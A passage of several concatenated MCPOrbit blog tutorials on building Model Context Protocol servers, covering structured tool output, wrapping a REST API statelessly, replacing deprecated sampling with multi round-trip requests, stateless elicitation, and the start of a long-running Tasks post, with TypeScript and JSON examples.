few seconds with cacheScope "private" so a shared gateway never leaks one user's tools to another. ### Which MCP methods support ttlMs and cacheScope? tools/list, prompts/list, resources/list, resources/read, and resources/templates/list. All of them accept the two optional fields on their result, following the same HTTP Cache-Control-style model. --- # How to return structured output from an MCP tool URL: https://mcporbit.com/blog/return-structured-output-from-mcp-tool Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-31 Updated: 2026-09-04 Category: Tutorial Tags: MCP, Structured Output, JSON Schema, TypeScript, Tool Design Give an MCP tool an outputSchema and return structuredContent so the model gets typed JSON, not a string it has to re-parse. Runnable, tested code. To return structured output from a Model Context Protocol (MCP) tool, declare an `outputSchema` on the tool and return a `structuredContent` value from its handler. The client advertises the schema in `tools/list`, validates the tool's result against it, and hands the model typed JSON instead of a string it has to parse back out of text. Without an output schema, a tool can only return a `text` content block. The model reads it as a string and guesses at the shape. With `structuredContent`, the tool returns real JSON that matches a declared schema, so the model, and any code downstream of it, can read fields directly. This walkthrough builds a tiny server with one structured-output tool, tests it end to end, and shows exactly what the client does when your output does not match its schema. Every code block below was run on `@modelcontextprotocol/sdk@1.30.0`. - Add `outputSchema` to a tool and return `structuredContent`; keep a mirrored `text` block for clients that ignore structured output. - The SDK validates `structuredContent` against `outputSchema` on the server and returns a `-32602` tool error if it does not match. - On the released TypeScript SDK (1.30.0), `outputSchema` is emitted as JSON Schema draft-07 and its root must be an object. - The 2026-07-28 spec (SEP-2106) lifts `outputSchema` to full JSON Schema 2020-12 and lets `structuredContent` be any JSON value, including a top-level array. ## What is structured output in an MCP tool? A tool result has two channels. `content` is a list of blocks (usually `text`) meant for display. `structuredContent` is a single JSON value that conforms to the tool's `outputSchema`. A tool that declares an `outputSchema` should populate both: `structuredContent` for clients and models that consume typed data, and a `text` block carrying the same data as a fallback for clients that only render content. The `outputSchema` lives next to the `inputSchema` in the tool definition, so a client sees the exact shape of a tool's return value before it ever calls it. That is what makes the output parseable rather than a string the model has to reverse-engineer. ## Declare an outputSchema and return structuredContent Here is the whole server. The `summarize_text` tool takes a string and returns three fields: `words`, `sentences`, and `longestWord`. The `outputSchema` is a Zod shape; the SDK derives a JSON Schema from it, advertises that schema in `tools/list`, and validates every result against it. ```javascript // server.js - an MCP server with a tool that returns structured output. import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { z } from "zod"; export function buildServer() { const server = new McpServer( { name: "structured-output-demo", version: "1.0.0" }, { capabilities: { tools: {} } } ); // A tool with an outputSchema. The SDK derives a JSON Schema from the Zod // shape, advertises it in tools/list, and validates structuredContent // against it before the result reaches the model. server.registerTool( "summarize_text", { title: "Summarize text", description: "Return word count, sentence count, and the longest word for a string.", inputSchema: { text: z.string().min(1) }, outputSchema: { words: z.number().int(), sentences: z.number().int(), longestWord: z.string(), }, }, async ({ text }) => { const words = text.trim().split(/\s+/).filter(Boolean); const sentences = text.split(/[.!?]+/).filter((s) => s.trim().length > 0); const longestWord = words.reduce((a, b) => (b.length > a.length ? b : a), ""); const structuredContent = { words: words.length, sentences: sentences.length, longestWord, }; // Mirror structuredContent into a text block for clients that ignore it. return { structuredContent, content: [{ type: "text", text: JSON.stringify(structuredContent) }], }; } ); return server; } ``` Two rules matter here. Return `structuredContent` whose shape matches the schema, and mirror the same data into a `text` block. The mirror is not decoration: a client that does not support structured output still needs a readable result, and the spec asks servers to provide one. ## Wire it up and run it Pin the two dependencies and add a stdio entrypoint so any MCP client can launch the server. These are the only two files you need beyond `server.js`. ```json { "name": "mcp-structured-output-demo", "version": "1.0.0", "private": true, "type": "module", "scripts": { "start": "node index.js", "test": "node test.js" }, "dependencies": { "@modelcontextprotocol/sdk": "1.30.0", "zod": "3.25.76" } } ``` ```javascript // index.js - run the server over stdio so any MCP client can launch it. import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { buildServer } from "./server.js"; const server = buildServer(); await server.connect(new StdioServerTransport()); ``` Run `npm install`, then `npm start` to serve over stdio. To point a client at it, run `node index.js` as the command. That is the full server: one tool, typed output, one command to launch. ## How do I test that the structured output is correct? Connect an in-memory client to the server in the same process, list the tools, and call one. No network, no external services, so the test runs anywhere. `InMemoryTransport.createLinkedPair()` gives you a client and server transport wired to each other. ```javascript // test.js - connect an in-memory client and exercise the tool end to end. import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; import { buildServer } from "./server.js"; import assert from "node:assert/strict"; const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); const server = buildServer(); await server.connect(serverTransport); const client = new Client({ name: "test", version: "1.0.0" }); await client.connect(clientTransport); const { tools } = await client.listTools(); const tool = tools.find((t) => t.name === "summarize_text"); assert.ok(tool.outputSchema, "tool advertises an outputSchema"); assert.equal(tool.outputSchema.type, "object"); console.log("PASS outputSchema advertised:", JSON.stringify(tool.outputSchema)); const res = await client.callTool({ name: "summarize_text", arguments: { text: "MCP is great. Structured output rocks!" }, }); assert.deepEqual(res.structuredContent, { words: 6, sentences: 2, longestWord: "Structured" }); console.log("PASS structuredContent:", JSON.stringify(res.structuredContent)); console.log("\nALL TESTS PASSED"); await client.close(); await server.close(); ``` Run `npm test`. The output shows the advertised schema and the typed result: ```text PASS outputSchema advertised: {"type":"object","properties":{"words":{"type":"integer"},"sentences":{"type":"integer"},"longestWord":{"type":"string"}},"required":["words","sentences","longestWord"],"additionalProperties":false,"$schema":"http://json-schema.org/draft-07/schema#"} PASS structuredContent: {"words":6,"sentences":2,"longestWord":"Structured"} ALL TESTS PASSED ``` Note the `$schema` line: on SDK 1.30.0 the derived schema is JSON Schema draft-07, and its root is an object. Both of those change under the 2026-07-28 spec, covered below. ## What happens when the output does not match the schema? The SDK validates `structuredContent` against `outputSchema` on the server side, before the result is sent. If a handler returns the wrong type, the call comes back as a tool error, not a valid result. Return `words: "6"` (a string) instead of a number, and the client receives: ```json { "content": [ { "type": "text", "text": "MCP error -32602: Output validation error: Invalid structured content for tool summarize_text: Expected number, received string at words" } ], "isError": true } ``` This is the payoff of declaring a schema. A tool that drifts from its own contract fails loudly with `-32602` (invalid params) at the tool boundary, instead of shipping malformed JSON to the model and causing a confusing failure two steps later. ## What changed for structured output in the 2026-07-28 spec? SEP-2106 in the 2026-07-28 specification loosens two constraints on structured output: - `outputSchema` is lifted to full JSON Schema 2020-12. It can use composition (`oneOf`, `anyOf`, `allOf`), conditionals, and references (`$ref`, `$defs`). Implementations must not auto-dereference external `$ref` URIs and should bound schema depth and validation time. - `structuredContent` can now be any JSON value, not only an object. A tool can return a top-level array, a number, or a string as its structured result. - `inputSchema` keeps its `type: "object"` root but gains the same composition and reference features. Support lags the spec, so pin your expectations to the SDK you actually run. On the released TypeScript SDK (1.30.0), the client rejects a tool whose `outputSchema` has a non-object root: a `list_primes` tool with `outputSchema: { type: "array", items: { type: "integer" } }` fails when the client parses `tools/list`. Top-level non-object output schemas need the SDK line that targets the 2026-07-28 spec. Until you are on it, keep your output schemas object-rooted, which is what the tutorial above does. > **Version check** > > Code here was tested on @modelcontextprotocol/sdk 1.30.0 and zod 3.25.76. Object-rooted outputSchema and structuredContent validation both work on that release. Any-JSON-value structuredContent and JSON Schema 2020-12 output schemas are 2026-07-28 spec features; confirm your SDK version advertises them before you rely on them. ## Frequently asked questions ## Frequently asked questions ### How do I return structured JSON from an MCP tool instead of text? Add an `outputSchema` to the tool definition and return a `structuredContent` value from the handler that matches it. Also mirror the same data into a `text` content block so clients that do not read structured output still get a usable result. ### What is the difference between content and structuredContent in an MCP tool result? `content` is a list of display blocks, usually `text`, meant to be rendered. `structuredContent` is a single JSON value that conforms to the tool's `outputSchema`, meant to be consumed as typed data by the model or downstream code. ### Does the MCP SDK validate my tool's structured output? Yes. The server validates `structuredContent` against the tool's `outputSchema` before sending the result. On a mismatch it returns a `-32602` output validation error with `isError: true` rather than a valid result. ### Can an MCP tool return a top-level array as structured output? Under the 2026-07-28 spec (SEP-2106) yes, because `structuredContent` can be any JSON value. On the released TypeScript SDK 1.30.0 the client still requires an object-rooted `outputSchema`, so a top-level array needs the SDK line that targets the 2026-07-28 spec. ### Do I still need a text content block if I return structuredContent? Yes, in practice. Not every client reads `structuredContent`, so mirror the same JSON into a `text` block. It costs one line and keeps the tool usable everywhere. [Point MCPOrbit at this server](/blog/add-an-mcp-server-to-mcporbit) to see its tools, call them by hand, and read the full JSON result so you can confirm structuredContent comes back on every call. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server that wraps a REST API (stateless, 2026-07-28 spec) URL: https://mcporbit.com/blog/build-mcp-server-wrap-rest-api Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-30 Updated: 2026-09-03 Category: Build-it Tags: mcp, tutorial, typescript, REST API, stateless Turn any REST API into an MCP server: one tool per endpoint, Zod-validated arguments, a shared HTTP client, and stateless Streamable HTTP so it runs behind a plain load balancer under the 2026-07-28 spec. Runnable TypeScript, no session store. To turn a REST API into an MCP server, register one MCP tool per useful endpoint, validate the model's arguments with a Zod schema, call the API with a shared HTTP client, and return the response as text. Then serve it over stateless Streamable HTTP so it runs behind a plain round-robin load balancer. Under the 2026-07-28 spec there are no sessions to hold, so every tool call is a self-contained request: fetch, format, return. This walkthrough builds a working server in TypeScript that wraps a real, key-free public API (Open-Meteo) so the code below runs as written. The same shape wraps any REST API you already own; the auth section shows how to add a key. ## What does wrapping a REST API in MCP actually mean? An MCP server exposes tools. Each tool is a named function with a typed input schema and a description the model reads to decide when to call it. Wrapping a REST API means: for each endpoint worth exposing, register one tool whose handler makes the HTTP request and returns the result. The model picks the tool and fills in the arguments; your handler does the fetch. You are not teaching the model your API, you are giving it typed, described entry points and doing the call yourself. - One tool per meaningful endpoint or action, not one giant do-everything tool. - The tool description is prompt surface: it is how the model knows what the tool does. Write it for a reader who cannot see your API docs. - Your handler owns validation, the HTTP call, and error shaping. The model never touches the network directly. ## Set up the project (SDK + Zod) You need Node 18+ (for the built-in fetch), the official MCP SDK, Zod for input validation, and Express to serve HTTP. Versions are pinned to the 2026-07-28 beta line so the code is reproducible. ```bash npm init -y npm i @modelcontextprotocol/sdk@1.30.0-beta.1 zod express npm i -D tsx typescript @types/express ``` ## Build one reusable HTTP client Centralize the base URL, headers, timeout, and (later) auth in a single helper so individual tools stay thin. A shared client is also where you enforce a timeout, so a slow upstream cannot hang a tool call forever. ```typescript // http.ts const GEO_BASE = "https://geocoding-api.open-meteo.com/v1"; const API_BASE = "https://api.open-meteo.com/v1"; export async function apiGet(url: string): Promise { const res = await fetch(url, { headers: { accept: "application/json" }, signal: AbortSignal.timeout(10_000), // never hang a tool call }); if (!res.ok) { throw new Error(`Upstream ${res.status}: ${await res.text()}`); } return res.json(); } export { GEO_BASE, API_BASE }; ``` ## Register a tool per endpoint, with Zod input validation Never trust the model's arguments. Each tool declares its inputs as a Zod schema; the SDK rejects calls that do not match before your handler runs. Here two tools wrap two endpoints: geocode a city name to coordinates, then fetch the forecast for those coordinates. Chaining two small tools beats one tool that guesses, and it mirrors how the REST API is actually shaped. ```typescript // server.ts import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { z } from "zod"; import { apiGet, GEO_BASE, API_BASE } from "./http.js"; export function buildServer() { const server = new McpServer({ name: "weather-rest-wrapper", version: "1.0.0" }); server.registerTool( "geocode_city", { title: "Find a city's coordinates", description: "Look up latitude and longitude for a city name. Call this before get_forecast.", inputSchema: { city: z.string().min(1).describe("City name, e.g. 'Berlin'") }, }, async ({ city }) => { try { const data = await apiGet(`${GEO_BASE}/search?name=${encodeURIComponent(city)}&count=1`); const hit = data.results?.[0]; if (!hit) { return { content: [{ type: "text", text: `No match for "${city}".` }], isError: true }; } return { content: [{ type: "text", text: JSON.stringify({ name: hit.name, country: hit.country, latitude: hit.latitude, longitude: hit.longitude, }) }] }; } catch (err) { return { content: [{ type: "text", text: `Geocode failed: ${(err as Error).message}` }], isError: true }; } }, ); server.registerTool( "get_forecast", { title: "Get the current weather forecast", description: "Return the current forecast for a latitude/longitude. Get coordinates from geocode_city first.", inputSchema: { latitude: z.number().min(-90).max(90), longitude: z.number().min(-180).max(180), }, }, async ({ latitude, longitude }) => { try { const data = await apiGet( `${API_BASE}/forecast?latitude=${latitude}&longitude=${longitude}¤t=temperature_2m,wind_speed_10m`, ); return { content: [{ type: "text", text: JSON.stringify(data.current) }] }; } catch (err) { return { content: [{ type: "text", text: `Forecast failed: ${(err as Error).message}` }], isError: true }; } }, ); return server; } ``` ## Return results the model can use, and handle errors with isError Return structured text the model can read, and on failure return content with isError: true instead of throwing. A thrown exception crashes the request; an isError result hands the model a message it can read and recover from (retry, pick a different city, ask the user). This one habit is the difference between an agent that self-corrects and one that dies on the first bad input. > **Note** > > Rule of thumb: your tool handler should never throw for an expected failure (bad input, no match, upstream 404). Catch it and return isError: true with a plain-language message. Reserve real throws for programmer bugs. ## Serve it statelessly (the 2026-07-28 spec) The 2026-07-28 spec removes sessions and the initialization handshake, so a remote MCP server can run behind a plain round-robin load balancer with no sticky sessions or shared session store. The Streamable HTTP transport supports this directly: run it in stateless mode by leaving sessionIdGenerator undefined, and build a fresh server plus transport per request. Nothing is held between calls, so any instance can serve any request. ```typescript // index.ts import express from "express"; import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; import { buildServer } from "./server.js"; const app = express(); app.use(express.json()); app.post("/mcp", async (req, res) => { // Stateless: fresh server + transport per request. No session store, // so any instance behind a round-robin load balancer can serve any call. const server = buildServer(); const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // stateless mode (2026-07-28 spec) enableDnsRebindingProtection: true, allowedHosts: ["127.0.0.1", "localhost"], }); res.on("close", () => { transport.close(); server.close(); }); await server.connect(transport); await transport.handleRequest(req, res, req.body); }); app.listen(3000, () => console.log("MCP server on http://localhost:3000/mcp")); ``` ## Add authentication for APIs that need a key Open-Meteo needs no key, but most APIs do. Read the key from an environment variable and inject it in the shared client. Never hardcode a secret, and never put it in a tool's input schema: the model should not see or supply your API key, only the business arguments. ```typescript const API_KEY = process.env.MY_API_KEY; // never hardcode; never expose to the model export async function apiGet(url: string): Promise { const res = await fetch(url, { headers: { accept: "application/json", ...(API_KEY ? { authorization: `Bearer ${API_KEY}` } : {}), }, signal: AbortSignal.timeout(10_000), }); if (!res.ok) throw new Error(`Upstream ${res.status}: ${await res.text()}`); return res.json(); } ``` ## Run it and test with one command ```bash npx tsx index.ts # in another shell, list the tools: curl -s http://localhost:3000/mcp \ -H 'content-type: application/json' \ -H 'accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' ``` You should get back both tools with their schemas. Point any 2026-07-28 MCP client at http://localhost:3000/mcp and the model can now geocode a city and fetch its forecast. Swap the two Open-Meteo endpoints for your own API's routes and you have wrapped your REST API in MCP. --- ## Frequently asked questions ### Should I register one tool per endpoint or one big tool? One tool per meaningful action. A model chooses tools by their name and description, so small, well-described tools get called correctly far more often than one overloaded tool that takes a 'mode' argument. ### Does the MCP server have to be stateless under the 2026-07-28 spec? The spec removes sessions and the handshake, so stateless is the default and lets you run behind a plain round-robin load balancer with no sticky sessions. You can still keep state in your own backend; just do not rely on an MCP session to hold it between calls. ### How do I handle API keys and secrets? Read them from environment variables and inject them in your shared HTTP client. Never hardcode a secret and never put it in a tool's input schema; the model should only supply business arguments, not credentials. ### What happens when the upstream REST API returns an error? Catch it in the handler and return content with isError: true and a plain-language message, rather than throwing. The model reads the error text and can retry or adjust; an unhandled throw just fails the call. ### Why wrap the API in MCP instead of letting the model call it directly? MCP gives the model typed, described, discoverable tools with validated inputs and consistent error handling, and it works across any MCP client. Hand-rolled function-calling glue has to be rebuilt for every model and app. ### How do I keep the exposed tool list from drifting out of sync with the API? Treat the tool schemas as a contract: version-pin the API, and test the server against the live endpoints in CI so a changed field or removed route fails the build instead of silently returning wrong data to the model. --- # How to make your MCP server ask the model to generate text (sampling is deprecated in the 2026-07-28 spec) URL: https://mcporbit.com/blog/mcp-server-sampling-deprecated Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-29 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Sampling, MRTR, 2026-07-28 Spec, Tutorial, Elicitation Sampling (sampling/createMessage) was deprecated on 2026-07-28. Here is the pattern that replaces it — a runnable MCP server that asks the model mid-tool using Multi Round-Trip Requests. If you want your MCP server to ask the model to generate text mid-tool — summarize a document, classify an input, draft a reply — do not reach for sampling/createMessage. As of the 2026-07-28 specification it is deprecated under SEP-2577. The replacement is Multi Round-Trip Requests (MRTR, SEP-2322): your tool returns resultType "input_required" with a sampling request, the client runs the completion, and it re-issues the same tool call with the answer attached under inputResponses. Below is a server that does exactly that, with code you can run. ## Is MCP sampling deprecated? Yes. As of the 2026-07-28 specification, sampling (sampling/createMessage), along with Roots (roots/list) and Logging, is deprecated under SEP-2577. It keeps working — the spec ships a formal deprecation policy with a twelve-month minimum window — but new servers should not adopt it. The reason is structural: the 2026-07-28 core is stateless, and sampling required the server to hold open a bidirectional stream so it could call back into the client. A stateless server behind a round-robin load balancer cannot rely on that stream existing. > **Deprecation window** > > sampling/createMessage will keep functioning for at least twelve months from 2026-07-28. You do not need to rip it out today. But do not build new servers on it — start on MRTR. ## What replaces sampling in the 2026-07-28 spec? MRTR (SEP-2322). Instead of the server pushing a sampling/createMessage request to the client over a held-open stream, the tool call itself pauses and asks for what it needs. The server returns a result with resultType "input_required" carrying the requests it wants answered; the client fulfills them (for sampling, it runs a model completion) and re-issues the original tool call with the answers attached under inputResponses. The three primitives that used to be server-initiated — elicitation, sampling, and roots — now all ride this one round-trip pattern. > MRTR replaces the server-initiated elicitation/create, sampling/createMessage, and roots/list requests that previously required a held-open stream. > — The 2026-07-28 MCP specification ## The old way: a tool that called sampling/createMessage Under the pre-2026-07-28 pattern, a tool asked the model directly through the server's sampling capability. It read cleanly, but it only worked because a single long-lived connection tied one client to one server process: ```typescript // DEPRECATED as of 2026-07-28 (SEP-2577). Do not build new servers on this. server.setRequestHandler(CallToolRequestSchema, async (req) => { if (req.params.name !== "summarize") throw new Error("unknown tool"); // Server calls back into the client over a held-open stream. const completion = await server.createMessage({ messages: [ { role: "user", content: { type: "text", text: `Summarize: ${req.params.arguments.text}` }, }, ], maxTokens: 200, }); return { content: [{ type: "text", text: completion.content.text }] }; }); ``` ## The new way: a summarize tool built on MRTR We will build a summarize tool that needs the model to write the summary. Under MRTR the same tool runs in two passes. On the first pass it has no completion yet, so it returns input_required with a sampling request. The client runs the completion and calls the tool again; on the second pass the completion arrives in inputResponses and the tool returns the final summary. No stream is held open between the two passes — each is an ordinary stateless request. ### The server ```typescript // summarize-server.ts // Pinned: @modelcontextprotocol/sdk@1.30.0-beta.1, typescript@5.9 import { Server } from "@modelcontextprotocol/sdk/server/index.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { CallToolRequestSchema, ListToolsRequestSchema, } from "@modelcontextprotocol/sdk/types.js"; const server = new Server( { name: "summarize-server", version: "1.0.0" }, { capabilities: { tools: {} } } ); server.setRequestHandler(ListToolsRequestSchema, async () => ({ tools: [ { name: "summarize", description: "Summarize a block of text in one sentence.", inputSchema: { type: "object", properties: { text: { type: "string" } }, required: ["text"], }, }, ], })); server.setRequestHandler(CallToolRequestSchema, async (req) => { const { name, arguments: args, inputResponses } = req.params; if (name !== "summarize") throw new Error(`Unknown tool: ${name}`); // Pass 2: the client ran the model and retried with the completion. if (inputResponses?.summary) { const completion = inputResponses.summary; const text = completion.content?.type === "text" ? completion.content.text : ""; return { resultType: "complete", content: [{ type: "text", text: text.trim() }] }; } // Pass 1: we need the model. Ask the client to run a completion (MRTR). return { resultType: "input_required", inputRequests: [ { key: "summary", method: "sampling/createMessage", params: { messages: [ { role: "user", content: { type: "text", text: `Summarize the following in one sentence: ${args.text}`, }, }, ], maxTokens: 200, }, }, ], }; }); await server.connect(new StdioServerTransport()); ``` ### The client driving the round trip ```typescript // client.ts let res = await client.callTool({ name: "summarize", arguments: { text: LONG } }); while (res.resultType === "input_required") { const inputResponses = {}; for (const reqd of res.inputRequests) { if (reqd.method === "sampling/createMessage") { inputResponses[reqd.key] = await runModel(reqd.params); } } res = await client.callTool({ name: "summarize", arguments: { text: LONG }, inputResponses, }); } console.log(res.content[0].text); ``` > **Wire vs SDK** > > These are the wire-level MRTR shapes from the 2026-07-28 spec — resultType, inputRequests, inputResponses. The beta SDKs expose helpers over them; pin @modelcontextprotocol/sdk to a 2026-07-28-compatible beta so the field names line up. ## What changes when you migrate sampling to MRTR - Control inverts. The client, not the server, owns the model call — it decides which model, applies its own rate limits, and can refuse. Your server just describes the completion it wants. - State goes on the wire. Anything the second pass needs must round-trip through inputResponses; you cannot stash it in server memory keyed to a connection. - One loop handles everything. Elicitation (ask the human) and sampling (ask the model) are now the same input_required loop with a different method — write the client loop once. - It survives a load balancer. Because each pass is a plain stateless request, sampling now works behind round-robin routing, which is the whole point of the 2026-07-28 core. ## Run it yourself Clone-free — the two files above are the whole example. Install the pinned SDK, wire runModel to your provider (any chat completion API works; the params carry messages and maxTokens), and start the server over stdio: ```bash npm i @modelcontextprotocol/sdk@1.30.0-beta.1 typescript@5.9 npx tsx summarize-server.ts ``` ## FAQ ### Is sampling being removed from MCP? No. As of 2026-07-28 it is deprecated under SEP-2577 with a twelve-month minimum support window. It keeps working, but new servers should use MRTR instead of sampling/createMessage. ### Why was MCP sampling deprecated? The 2026-07-28 protocol core is stateless. Sampling required the server to hold open a bidirectional stream to call back into the client, which breaks behind a round-robin load balancer. MRTR moves the request into the tool-call round trip so no stream is needed. ### What is the difference between sampling and elicitation now? Both are MRTR input requests returned with resultType "input_required". Sampling asks the model to generate text; elicitation asks the human user for structured input. Same round trip, different method name in inputRequests. ### Do I have to migrate my sampling server before 2026-07-28? No. The 2026-07-28 date is the spec release, not a sampling cutoff. Sampling has its own twelve-month deprecation runway, so migrate to MRTR when it is convenient rather than as an emergency. ### How does the client know it needs to run a completion? Your tool returns resultType "input_required" with an inputRequests entry whose method is sampling/createMessage. The client runs that completion and retries the original tool call with the result under inputResponses, keyed to match the request. --- # How to get user input from an MCP tool call (2026-07-28 stateless elicitation) URL: https://mcporbit.com/blog/mcp-tool-user-input-elicitation Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-07-28 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Elicitation, MRTR, 2026-07-28 Spec, Stateless How a tool asks the user for input in the 2026-07-28 MCP spec: return an InputRequiredResult from tools/call, then retry with inputResponses and an echoed requestState. No stream, no sessions. In the 2026-07-28 MCP spec, a tool asks the user for input by returning from `tools/call` instead of pushing a message. The server sends back an `InputRequiredResult`: a normal result that contains an `inputRequests` object (the questions to ask) and an opaque, base64-encoded `requestState`. The client shows the prompts, collects answers, and re-issues the same `tools/call` with an `inputResponses` object and the `requestState` echoed back unchanged. There is no SSE stream and no server-held session: because every bit of in-flight state travels inside `requestState`, any server instance can finish the call. That is the whole pattern. The rest of this post is the wire trace and how to migrate to it. ## The mechanism you knew is gone: elicitation no longer rides a stream Before 2026-07-28, a tool that needed input mid-call relied on the server pushing an `elicitation/create` request to the client over an open connection, then waiting on that same session for the answer. Two changes in the new spec remove the ground that stood on: - Sessions are removed (SEP-2567) and the initialize handshake is removed (SEP-2575). There is no long-lived, server-owned connection state to pin a pending elicitation to. - Server-initiated requests are constrained (SEP-2260): a server may issue a request to the client only while it is actively processing a client request. A server can no longer wake up later and push a question across an idle stream. The practical consequence: mid-tool-call input can no longer be a side-channel message. It has to be part of the request and response cycle itself. ## The new shape: InputRequiredResult, inputRequests, requestState The replacement is the multi round-trip request (SEP-2322). When a `tools/call` cannot finish without more input, the server does not error and does not stream. It returns a result whose `resultType` is `input_required`. That result carries two things: - `inputRequests`: the elicitation prompts, meaning the questions, their schemas, and anything the client needs to render a form. - `requestState`: an opaque, base64-encoded blob that captures everything the server needs to resume this exact call. The client treats it as a token. Store nothing, understand nothing, just echo it back. The client renders the prompts, gathers the user's answers, and retries the original `tools/call` (same tool, same arguments), adding an `inputResponses` object and the `requestState` it was handed. The server reads `requestState`, applies the responses, and continues. If it needs another round, it returns another `InputRequiredResult`. If it is done, it returns the normal tool result. ## The full round trip, on the wire ### 1. Client calls the tool A deploy tool that needs a confirmation before it proceeds: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "deploy_release", "arguments": { "service": "api", "version": "4.8.1" } } } ``` ### 2. Server needs input, returns (not pushes) an InputRequiredResult ```json { "jsonrpc": "2.0", "id": 1, "result": { "resultType": "input_required", "inputRequests": { "confirm_prod": { "method": "elicitation/create", "params": { "mode": "form", "message": "Deploy api 4.8.1 to production?", "requestedSchema": { "type": "object", "properties": { "confirm": { "type": "boolean", "title": "Confirm production deploy" } }, "required": ["confirm"] } } } }, "requestState": "eyJjYWxsIjoiZGVwbG95X3JlbGVhc2UiLCJzdGVwIjoxfQ==" } } ``` ### 3. Client answers by re-issuing the same call, echoing requestState ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "deploy_release", "arguments": { "service": "api", "version": "4.8.1" }, "inputResponses": { "confirm_prod": { "action": "accept", "content": { "confirm": true } } }, "requestState": "eyJjYWxsIjoiZGVwbG95X3JlbGVhc2UiLCJzdGVwIjoxfQ==" } } ``` ### 4. Server resumes from requestState and returns the final result ```json { "jsonrpc": "2.0", "id": 2, "result": { "resultType": "complete", "content": [ { "type": "text", "text": "Deployed api 4.8.1 to production." } ] } } ``` The second request could land on a completely different server process than the first. Nothing breaks, because the server put everything it needs to resume into `requestState` and the client handed it straight back. > **Spec status** > > The field names and payload shapes here match the 2026-07-28 release candidate (SEP-2322): a result with resultType input_required, an inputRequests map whose entries are ordinary elicitation/create requests (method plus params.requestedSchema), and an echoed requestState. Because it is a release candidate, confirm the exact keys against the final spec text before you depend on them. The pattern, return an input-required result and echo an opaque state, is fixed. ## Why the state lives in the payload, not the server This is the stateless core doing exactly what it was designed for. In the old model, the server held the pending elicitation in memory tied to a session, so the answer had to come back to the same process over the same connection, which means sticky sessions, a shared session store, or both. In the new model the resume state is in the message, so: - Any instance can finish the call. Put your servers behind a plain round-robin load balancer; the retry does not need affinity. - Restarts do not strand in-flight prompts. There is no server memory to lose, because the client is holding the `requestState`. - The state is inspectable, not hidden. The spec's phrasing for the broader pattern is that state becomes visible to the model rather than hidden away. The cost you pay for this is that `requestState` crosses a trust boundary: it goes to the client and comes back. Which leads to the one rule that matters most. ## Migrating from the old elicitation flow: the checklist - Stop pushing `elicitation/create` over the stream. Return an `InputRequiredResult` from `tools/call` instead. Input is now part of the call's result, not a side-channel message. - Move per-call state out of server memory and into `requestState`. Anything you used to keep on the session for a pending prompt now serializes into the blob. - Sign or encrypt `requestState`, and verify it on the way back. It round-trips through the client, so treat it as untrusted input: authenticate it (for example an HMAC or a sealed token) and reject tampering. Never put raw secrets in it in the clear. - Do not assume affinity. The response may hit a different instance, so avoid in-memory lookups keyed by session. - Respect SEP-2260. Any genuinely server-initiated interaction must happen while you are processing a client request; you cannot defer a question to later on an idle connection. - Handle multiple rounds. If one answer is not enough, return another `InputRequiredResult`. Each round is a fresh return plus echo; there is no open dialogue to keep alive. ## Multi-step prompts and validation Because each round is an independent return-and-retry, multi-question flows compose naturally: ask for a value, validate it when the retry comes back, and if it is invalid, return another `InputRequiredResult` with the same question and an error hint. The server stays stateless the whole time, because the growing context lives in `requestState`, which you can extend on each round. This also makes validation server-side and authoritative: the client cannot skip a required prompt, because without the matching `inputResponses` the server just returns the input-required result again. --- ## FAQ: getting user input from an MCP tool in the 2026-07-28 spec ### How does a tool ask the user a question in the 2026-07-28 MCP spec? It returns an `InputRequiredResult` from `tools/call`: a result containing an `inputRequests` object (the prompts) and an opaque `requestState`. The client collects answers and re-calls the same tool with `inputResponses` and the echoed `requestState`. ### What replaced the elicitation SSE stream? The multi round-trip request pattern (SEP-2322). Sessions and the always-open server-to-client channel were removed (SEP-2567, SEP-2575), so input is now a return value the client answers with a retry, not a message pushed over a stream. ### What is requestState and do I store it server-side? It is a base64-encoded, opaque payload that captures everything needed to resume the call. You do not store it server-side. The client holds it and echoes it back. Because it round-trips through the client, sign or encrypt it and verify it on return. ### Can any server instance handle the response? Yes, that is the entire point. All resume state lives in `requestState`, so the retry can land on any instance behind a round-robin load balancer with no session affinity. ### Is the old elicitation deprecated or removed? The session and handshake it depended on are removed (SEP-2567, SEP-2575), and server-initiated requests are constrained to active request processing (SEP-2260). The supported way to ask for input is now `InputRequiredResult`. ### Does this apply to stdio (local) servers too? The pattern is part of the core protocol, so use `InputRequiredResult` regardless of transport. It matters most for remote HTTP servers behind a load balancer, but adopting it everywhere keeps one code path. --- # How to build an MCP server that runs long tasks without timing out (Tasks extension) URL: https://mcporbit.com/blog/mcp-server-long-running-tasks Author: Mark, Head of Marketing, MCPOrbit Published: 2026-07-27 Updated: 2026-09-03 Category: MCP Tutorials Tags: MCP, Tasks, async, long-running, build-it, Progress A tested walkthrough of the MCP Tasks extension (2026-07-28 spec): return a task handle from tools/call, poll tasks/get, and stop blocking slow tools until they time out. If an MCP tool call takes longer than a few seconds - a data export, a deploy, a video render, a deep search - don't block the response. Under the 2026-07-28 spec, answer the `tools/call` with a task handle instead of a result, and let the client drive the work with `tasks/get`. The tool returns immediately, the model keeps its turn, and the client polls for completion. This is the Tasks extension, and it's the supported way to run long work without holding a request open until it times out. This post shows the exact protocol, then builds a server that does it - with a wire trace proving a naive tool times out where a Tasks-backed tool doesn't. Every JSON-RPC exchange below is captured from the reference implementation inlined at the end of this post, not hand-written. Save those files and you get the same trace. > **Note** > > This post inlines a complete, dependency-free reference implementation (Node 20+). Save the files 